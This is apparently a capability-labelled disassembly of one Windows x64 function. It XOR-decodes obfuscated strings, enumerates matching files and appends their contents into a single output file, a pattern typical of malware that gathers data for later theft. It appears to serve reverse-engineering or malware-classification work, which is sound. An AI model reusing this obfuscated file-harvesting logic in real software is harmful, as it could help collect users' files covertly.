Function at 0x6ff930b0
Capabilities:
Encode data using xor
Enumerate files on windows
Read file on windows
Write file on windows

Disassembly:
push r15
mov eax, 0x13c8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.6ff82780
sub rsp, rax
mov rbx, rcx
movabs rax, 0x52511317614e183d
mov byte [rsp + 0x3c9], 0
mov byte [rsp + 0x3c8], 0x5a
mov qword [rsp + 0x3c0], rax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x1418], rdx
mov rsi, rax
lea rdx, [rsp + 0x3c8]
xor byte [rax + 1], 0x3d
inc rax
cmp rax, rdx
jne 0x6ff93109
lea r15, [rsp + 0x78]
lea rdx, [rsp + 0x3c1]
mov r8, rbx
mov byte [rsp + 0x3c9], 0
mov rcx, r15
call sym.main.exe_sprintf_char__char_const__::_
lea rax, [rsp + 0x280]
mov rdi, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, r15
mov qword [rsp + 0x48], rax
mov rdx, rax
call rdi
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x6ff932ca
mov rbp, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov byte [rsp + 0x74], 0
lea rax, [rsp + 0x6e]
lea rdx, [rsp + 0x73]
mov dword [rsp + 0x6e], 0x507f290c
mov word [rsp + 0x72], 0x7f29
xor byte [rax + 1], 0xc
inc rax
cmp rax, rdx
jne 0x6ff93183
lea r12, [rsp + 0x17c]
lea rdx, [rsp + 0x6f]
mov r8, rbx
mov byte [rsp + 0x74], 0
lea r9, [rsp + 0x2ac]
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
xor r9d, r9d
mov edx, 0x80000000
mov rcx, r12
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call rbp
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x6ff932ab
mov qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x1418]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
call rbp
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x6ff932a2
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rax, [rsp + 0x64]
mov qword [rsp + 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0x58], rax
mov r9, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov rdx, rsi
mov rcx, r14
mov qword [rsp + 0x20], 0
mov r8d, 0x1000
call rax
test eax, eax
je 0x6ff93299
mov r8d, dword [rsp + 0x64]
test r8d, r8d
je 0x6ff93299
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x6ff9324e
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x48]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x6ff93165
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x1094b4f39164065
mov byte [rsp + 0x77], 0
lea rdx, [rsp + 0x76]
mov qword [rsp + 0x6e], rax
lea rax, [rsp + 0x6e]
mov byte [rsp + 0x76], 7
mov qword [rsp + 0x58], rax
xor byte [rax + 1], 0x65
inc rax
cmp rdx, rax
jne 0x6ff932f2
lea rbp, [rsp + 0x6f]
mov r8, rbx
mov rcx, r15
mov byte [rsp + 0x77], 0
mov rdx, rbp
call sym.main.exe_sprintf_char__char_const__::_
mov rdx, qword [rsp + 0x48]
mov rcx, r15
call rdi
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x6ff93490
mov rdi, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov byte [rsp + 0x74], 0
mov rax, qword [rsp + 0x58]
lea rdx, [rsp + 0x73]
mov dword [rsp + 0x6e], 0x2e015772
mov word [rsp + 0x72], 0x157
xor byte [rax + 1], 0x72
inc rax
cmp rax, rdx
jne 0x6ff93352
lea r12, [rsp + 0x17c]
mov r8, rbx
mov rdx, rbp
mov byte [rsp + 0x74], 0
lea r9, [rsp + 0x2ac]
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
xor r9d, r9d
mov edx, 0x80000000
mov rcx, r12
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call rdi
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x6ff93471
mov qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x1418]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
call rdi
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x6ff93468
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rax, [rsp + 0x64]
mov r15, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
mov rdx, rsi
mov rcx, r14
mov r8d, 0x1000
call r15
test eax, eax
je 0x6ff93441
mov r8d, dword [rsp + 0x64]
test r8d, r8d
jne 0x6ff9344c
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x6ff93468
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x6ff93416
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x48]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x6ff93334
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
add rsp, 0x13c8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret